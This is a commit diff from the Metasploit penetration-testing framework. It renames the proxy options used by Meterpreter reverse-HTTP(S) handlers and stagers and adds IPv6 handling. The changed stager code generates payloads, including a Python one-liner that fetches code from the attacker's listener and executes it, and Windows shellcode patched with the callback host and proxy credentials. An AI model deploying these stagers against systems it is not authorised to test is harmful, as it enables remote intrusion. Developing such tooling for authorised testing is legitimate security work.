Skip to content

Commit b62da42

Browse files
author
HD Moore
committed
Merge branch 'master' into feature/add-proxies-to-wininet
2 parents c607cf7 + b46e5f8 commit b62da42

File tree

7 files changed

+127
-80
lines changed

7 files changed

+127
-80
lines changed

lib/msf/core/handler/reverse_hop_http.rb

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -256,11 +256,11 @@ def send_new_stage
256256
:expiration => datastore['SessionExpirationTimeout'],
257257
:comm_timeout => datastore['SessionCommunicationTimeout'],
258258
:ua => datastore['MeterpreterUserAgent'],
259-
:proxyhost => datastore['PROXYHOST'],
260-
:proxyport => datastore['PROXYPORT'],
261-
:proxy_type => datastore['PROXY_TYPE'],
262-
:proxy_username => datastore['PROXY_USERNAME'],
263-
:proxy_password => datastore['PROXY_PASSWORD']
259+
:proxy_host => datastore['PayloadProxyHost'],
260+
:proxy_port => datastore['PayloadProxyPort'],
261+
:proxy_type => datastore['PayloadProxyType'],
262+
:proxy_user => datastore['PayloadProxyUser'],
263+
:proxy_pass => datastore['PayloadProxyPass']
264264

265265
blob = encode_stage(blob)
266266

lib/msf/core/handler/reverse_http.rb

Lines changed: 52 additions & 20 deletions
Original file line numberDiff line numberDiff line change
@@ -58,33 +58,25 @@ def initialize(info = {})
5858
], Msf::Handler::ReverseHttp)
5959
end
6060

61-
# Toggle for IPv4 vs IPv6 mode
62-
#
63-
def ipv6?
64-
Rex::Socket.is_ipv6?(datastore['LHOST'])
65-
end
66-
6761
# Determine where to bind the server
6862
#
6963
# @return [String]
7064
def listener_address
71-
if datastore['ReverseListenerBindAddress'].to_s.empty?
72-
bindaddr = (ipv6?) ? '::' : '0.0.0.0'
65+
if datastore['ReverseListenerBindAddress'].to_s == ""
66+
bindaddr = Rex::Socket.is_ipv6?(datastore['LHOST']) ? '::' : '0.0.0.0'
7367
else
7468
bindaddr = datastore['ReverseListenerBindAddress']
7569
end
7670

7771
bindaddr
7872
end
7973

74+
# Return a URI suitable for placing in a payload
75+
#
8076
# @return [String] A URI of the form +scheme://host:port/+
8177
def listener_uri
82-
if ipv6?
83-
listen_host = "[#{listener_address}]"
84-
else
85-
listen_host = listener_address
86-
end
87-
"#{scheme}://#{listen_host}:#{datastore['LPORT']}/"
78+
uri_host = Rex::Socket.is_ipv6?(listener_address) ? "[#{listener_address}]" : listener_address
79+
"#{scheme}://#{uri_host}:#{datastore['LPORT']}/"
8880
end
8981

9082
# Return a URI suitable for placing in a payload.
@@ -158,6 +150,7 @@ def setup_handler
158150
'VirtualDirectory' => true)
159151

160152
print_status("Started #{scheme.upcase} reverse handler on #{listener_uri}")
153+
lookup_proxy_settings
161154
end
162155

163156
#
@@ -175,6 +168,45 @@ def stop_handler
175168

176169
protected
177170

171+
#
172+
# Parses the proxy settings and returns a hash
173+
#
174+
def lookup_proxy_settings
175+
info = {}
176+
return @proxy_settings if @proxy_settings
177+
178+
if datastore['PayloadProxyHost'].to_s == ""
179+
@proxy_settings = info
180+
return @proxy_settings
181+
end
182+
183+
info[:host] = datastore['PayloadProxyHost'].to_s
184+
info[:port] = (datastore['PayloadProxyPort'] || 8080).to_i
185+
info[:type] = datastore['PayloadProxyType'].to_s
186+
187+
uri_host = info[:host]
188+
189+
if Rex::Socket.is_ipv6?(uri_host)
190+
uri_host = "[#{info[:host]}]"
191+
end
192+
193+
info[:info] = "#{uri_host}:#{info[:port]}"
194+
195+
if info[:type] == "SOCKS"
196+
info[:info] = "socks=#{info[:info]}"
197+
else
198+
info[:info] = "http://#{info[:info]}"
199+
if datastore['PayloadProxyUser'].to_s != ""
200+
info[:username] = datastore['PayloadProxyUser'].to_s
201+
end
202+
if datastore['PayloadProxyPass'].to_s != ""
203+
info[:password] = datastore['PayloadProxyPass'].to_s
204+
end
205+
end
206+
207+
@proxy_settings = info
208+
end
209+
178210
#
179211
# Parses the HTTPS request
180212
#
@@ -204,7 +236,7 @@ def on_request(cli, req, obj)
204236
blob.sub!('HTTP_COMMUNICATION_TIMEOUT = 300', "HTTP_COMMUNICATION_TIMEOUT = #{datastore['SessionCommunicationTimeout']}")
205237
blob.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(datastore['MeterpreterUserAgent'])}'")
206238

207-
unless datastore['PROXYHOST'].blank? && datastore['PayloadProxyHost'].blank?
239+
unless datastore['PayloadProxyHost'].blank?
208240
proxy_url = "http://#{datastore['PayloadProxyHost']||datastore['PROXYHOST']}:#{datastore['PayloadProxyPort']||datastore['PROXYPORT']}"
209241
blob.sub!('HTTP_PROXY = None', "HTTP_PROXY = '#{var_escape.call(proxy_url)}'")
210242
end
@@ -268,11 +300,11 @@ def on_request(cli, req, obj)
268300
:expiration => datastore['SessionExpirationTimeout'],
269301
:comm_timeout => datastore['SessionCommunicationTimeout'],
270302
:ua => datastore['MeterpreterUserAgent'],
271-
:proxyhost => datastore['PayloadProxyHost'] || datastore['PROXYHOST'],
272-
:proxyport => datastore['PayloadProxyPort'] || datastore['PROXYPORT'],
273-
:proxy_type => datastore['PayloadProxyType'] || datastore['PROXY_TYPE'],
274-
:proxy_username => datastore['PayloadProxyUser'] || datastore['PROXY_USERNAME'],
275-
:proxy_password => datastore['PayloadProxyPass'] || datastore['PROXY_PASSWORD']
303+
:proxy_host => datastore['PayloadProxyHost'],
304+
:proxy_port => datastore['PayloadProxyPort'],
305+
:proxy_type => datastore['PayloadProxyType'],
306+
:proxy_user => datastore['PayloadProxyUser'],
307+
:proxy_pass => datastore['PayloadProxyPass']
276308

277309
resp.body = encode_stage(blob)
278310

lib/msf/core/handler/reverse_https_proxy.rb

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -40,11 +40,11 @@ def initialize(info = {})
4040
[
4141
OptString.new('LHOST', [ true, "The local listener hostname" ,"127.0.0.1"]),
4242
OptPort.new('LPORT', [ true, "The local listener port", 8443 ]),
43-
OptString.new('PROXYHOST', [true, "The address of the http proxy to use" ,"127.0.0.1"]),
44-
OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ]),
45-
OptEnum.new('PROXY_TYPE', [true, 'Http or Socks4 proxy type', 'HTTP', ['HTTP', 'SOCKS']]),
46-
OptString.new('PROXY_USERNAME', [ false, "An optional username for HTTP proxy authentification"]),
47-
OptString.new('PROXY_PASSWORD', [ false, "An optional password for HTTP proxy authentification"])
43+
OptString.new('PayloadProxyHost', [true, "The proxy server's IP address", "127.0.0.1"]),
44+
OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ]),
45+
OptEnum.new('PayloadProxyType', [true, 'The proxy type, HTTP or SOCKS', 'HTTP', ['HTTP', 'SOCKS']]),
46+
OptString.new('PayloadProxyUser', [ false, "An optional username for HTTP proxy authentication"]),
47+
OptString.new('PayloadProxyPass', [ false, "An optional password for HTTP proxy authentication"])
4848
], Msf::Handler::ReverseHttpsProxy)
4949

5050
register_advanced_options(

lib/rex/payloads/meterpreter/patch.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -118,13 +118,13 @@ def self.patch_passive_service! blob, options
118118
patch_comm_timeout! blob, options[:comm_timeout]
119119
patch_ua! blob, options[:ua]
120120
patch_proxy!(blob,
121-
options[:proxyhost],
122-
options[:proxyport],
121+
options[:proxy_host],
122+
options[:proxy_port],
123123
options[:proxy_type]
124124
)
125125
patch_proxy_auth!(blob,
126-
options[:proxy_username],
127-
options[:proxy_password],
126+
options[:proxy_user],
127+
options[:proxy_pass],
128128
options[:proxy_type]
129129
)
130130

lib/rex/post/meterpreter/client_core.rb

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -411,11 +411,11 @@ def generate_windows_stub(process)
411411
:expiration => self.client.expiration,
412412
:comm_timeout => self.client.comm_timeout,
413413
:ua => client.exploit_datastore['MeterpreterUserAgent'],
414-
:proxyhost => client.exploit_datastore['PayloadProxyHost'] || client.exploit_datastore['PROXYHOST'],
415-
:proxyport => client.exploit_datastore['PayloadProxyPort'] || client.exploit_datastore['PROXYPORT'],
416-
:proxy_type => client.exploit_datastore['PayloadProxyType'] || client.exploit_datastore['PROXY_TYPE'],
417-
:proxy_username => client.exploit_datastore['PayloadProxyUser'] || client.exploit_datastore['PROXY_USERNAME'],
418-
:proxy_password => client.exploit_datastore['PayloadProxyPass'] || client.exploit_datastore['PROXY_PASSWORD']
414+
:proxy_host => client.exploit_datastore['PayloadProxyHost'],
415+
:proxy_port => client.exploit_datastore['PayloadProxyPort'],
416+
:proxy_type => client.exploit_datastore['PayloadProxyType'],
417+
:proxy_user => client.exploit_datastore['PayloadProxyUser'],
418+
:proxy_pass => client.exploit_datastore['PayloadProxyPass']
419419

420420
end
421421

modules/payloads/stagers/python/reverse_http.rb

Lines changed: 18 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -26,9 +26,9 @@ def initialize(info = {})
2626

2727
register_options(
2828
[
29-
OptString.new('PROXYHOST', [ false, "The address of an http proxy to use", "" ]),
30-
OptInt.new('PROXYPORT', [ false, "The Proxy port to connect to", 8080 ])
31-
], Msf::Handler::ReverseHttp)
29+
OptString.new('PayloadProxyHost', [false, "The proxy server's IP address"]),
30+
OptPort.new('PayloadProxyPort', [true, "The proxy port to connect to", 8080 ])
31+
], self.class)
3232
end
3333

3434
#
@@ -41,21 +41,32 @@ def generate
4141
txt.gsub('\\', '\\'*4).gsub('\'', %q(\\\'))
4242
}
4343

44-
target_url = 'http://'
45-
target_url << lhost
44+
if Rex::Socket.is_ipv6?(lhost)
45+
target_url = "http://[#{lhost}]"
46+
else
47+
target_url = "http://#{lhost}"
48+
end
49+
4650
target_url << ':'
4751
target_url << datastore['LPORT'].to_s
4852
target_url << '/'
4953
target_url << generate_uri_checksum(Msf::Handler::ReverseHttp::URI_CHECKSUM_INITP)
5054

55+
proxy_host = datastore['PayloadProxyHost'].to_s
56+
proxy_port = datastore['PayloadProxyPort'].to_i
57+
5158
cmd = "import sys\n"
52-
if datastore['PROXYHOST'].blank?
59+
if proxy_host == ''
5360
cmd << "o=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['build_opener']).build_opener()\n"
5461
else
55-
proxy_url = "http://#{datastore['PROXYHOST']}:#{datastore['PROXYPORT']}"
62+
proxy_url = Rex::Socket.is_ipv6?(proxy_host) ?
63+
"http://[#{proxy_host}]:#{proxy_port}" :
64+
"http://#{proxy_host}:#{proxy_port}"
65+
5666
cmd << "ul=__import__({2:'urllib2',3:'urllib.request'}[sys.version_info[0]],fromlist=['ProxyHandler','build_opener'])\n"
5767
cmd << "o=ul.build_opener(ul.ProxyHandler({'http':'#{var_escape.call(proxy_url)}'}))\n"
5868
end
69+
5970
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(datastore['MeterpreterUserAgent'])}')]\n"
6071
cmd << "exec(o.open('#{target_url}').read())\n"
6172

modules/payloads/stagers/windows/reverse_https_proxy.rb

Lines changed: 38 additions & 34 deletions
Original file line numberDiff line numberDiff line change
@@ -82,70 +82,74 @@ def generate
8282
p[i, u.length] = u
8383

8484
# patch proxy info
85-
proxyhost = datastore['PROXYHOST'].to_s
86-
proxyport = datastore['PROXYPORT'].to_s || "8080"
85+
proxyhost = datastore['PayloadProxyHost'].to_s
86+
proxyport = datastore['PayloadProxyPort'].to_s || "8080"
87+
88+
if Rex::Socket.is_ipv6?(proxyhost)
89+
proxyhost = "[#{proxyhost}]"
90+
end
91+
8792
proxyinfo = proxyhost + ":" + proxyport
8893
if proxyport == "80"
8994
proxyinfo = proxyhost
9095
end
91-
if datastore['PROXY_TYPE'].to_s == 'HTTP'
96+
if datastore['PayloadProxyType'].to_s == 'HTTP'
9297
proxyinfo = 'http://' + proxyinfo
9398
else #socks
9499
proxyinfo = 'socks=' + proxyinfo
95100
end
101+
96102
proxyloc = p.index("PROXYHOST:PORT")
97103
p = p.gsub("PROXYHOST:PORT",proxyinfo)
98104

99-
# patch the call
100-
calloffset = proxyinfo.length
101-
calloffset += 1
105+
# Patch the call
106+
calloffset = proxyinfo.length + 1
102107
p[proxyloc-4] = [calloffset].pack('V')[0]
103108

104-
#Optional authentification
105-
if (datastore['PROXY_USERNAME'].nil? or datastore['PROXY_USERNAME'].empty?) or
106-
(datastore['PROXY_PASSWORD'].nil? or datastore['PROXY_PASSWORD'].empty?) or
107-
datastore['PROXY_TYPE'] == 'SOCKS'
109+
# Authentication credentials have not been specified
110+
if datastore['PayloadProxyUser'].to_s == '' or
111+
datastore['PayloadProxyPass'].to_s == '' or
112+
datastore['PayloadProxyType'].to_s == 'SOCKS'
108113

109114
jmp_offset = p.index("PROXY_AUTH_STOP") + 15 - p.index("PROXY_AUTH_START")
110-
#remove auth code
115+
116+
# Remove the authentication code
111117
p = p.gsub(/PROXY_AUTH_START(.)*PROXY_AUTH_STOP/i, "")
112118
else
113-
username_size_diff = 14 - datastore['PROXY_USERNAME'].length
114-
password_size_diff = 14 - datastore['PROXY_PASSWORD'].length
115-
jmp_offset = 16 + #PROXY_AUTH_START length
116-
15 + #PROXY_AUTH_STOP length
117-
username_size_diff + # difference between datastore PROXY_USERNAME length and db "PROXY_USERNAME length"
118-
password_size_diff # same with PROXY_PASSWORD
119-
#patch call offset
119+
username_size_diff = 14 - datastore['PayloadProxyUser'].to_s.length
120+
password_size_diff = 14 - datastore['PayloadProxyPass'].to_s.length
121+
jmp_offset =
122+
16 + # PROXY_AUTH_START length
123+
15 + # PROXY_AUTH_STOP length
124+
username_size_diff + # Difference between datastore PayloadProxyUser length and db "PayloadProxyUser length"
125+
password_size_diff # Same with PayloadProxyPass
126+
127+
# Patch call offset
120128
username_loc = p.index("PROXY_USERNAME")
121129
p[username_loc - 4, 4] = [15 - username_size_diff].pack("V")
122130
password_loc = p.index("PROXY_PASSWORD")
123131
p[password_loc - 4, 4] = [15 - password_size_diff].pack("V")
124-
#remove markers & change login/pwd
132+
133+
# Remove markers & change login/password
125134
p = p.gsub("PROXY_AUTH_START","")
126135
p = p.gsub("PROXY_AUTH_STOP","")
127-
p = p.gsub("PROXY_USERNAME", datastore['PROXY_USERNAME'])
128-
p = p.gsub("PROXY_PASSWORD", datastore['PROXY_PASSWORD'])
136+
p = p.gsub("PROXY_USERNAME", datastore['PayloadProxyUser'].to_s)
137+
p = p.gsub("PROXY_PASSWORD", datastore['PayloadProxyPass'].to_s)
129138
end
130-
#patch jmp dbl_get_server_host
139+
140+
# Patch jmp dbl_get_server_host
131141
jmphost_loc = p.index("\x68\x3a\x56\x79\xa7\xff\xd5") + 8 # push 0xA779563A ; hash( "wininet.dll", "InternetOpenA" ) ; call ebp
132142
p[jmphost_loc, 4] = [p[jmphost_loc, 4].unpack("V")[0] - jmp_offset].pack("V")
133-
#patch call Internetopen
134-
p[p.length - 4, 4] = [p[p.length - 4, 4].unpack("V")[0] + jmp_offset].pack("V")
135143

136-
# patch the LPORT
137-
lport = datastore['LPORT']
144+
# Patch call Internetopen
145+
p[p.length - 4, 4] = [p[p.length - 4, 4].unpack("V")[0] + jmp_offset].pack("V")
138146

147+
# Patch the LPORT
139148
lportloc = p.index("\x68\x5c\x11\x00\x00") # PUSH DWORD 4444
140-
p[lportloc+1] = [lport.to_i].pack('V')[0]
141-
p[lportloc+2] = [lport.to_i].pack('V')[1]
142-
p[lportloc+3] = [lport.to_i].pack('V')[2]
143-
p[lportloc+4] = [lport.to_i].pack('V')[3]
144-
145-
# append LHOST and return payload
149+
p[lportloc+1,4] = [datastore['LPORT'].to_i].pack('V')
146150

147-
lhost = datastore['LHOST']
148-
p + lhost.to_s + "\x00"
151+
# Append LHOST and return payload
152+
p + datastore['LHOST'].to_s + "\x00"
149153

150154
end
151155

0 commit comments

Comments
 (0)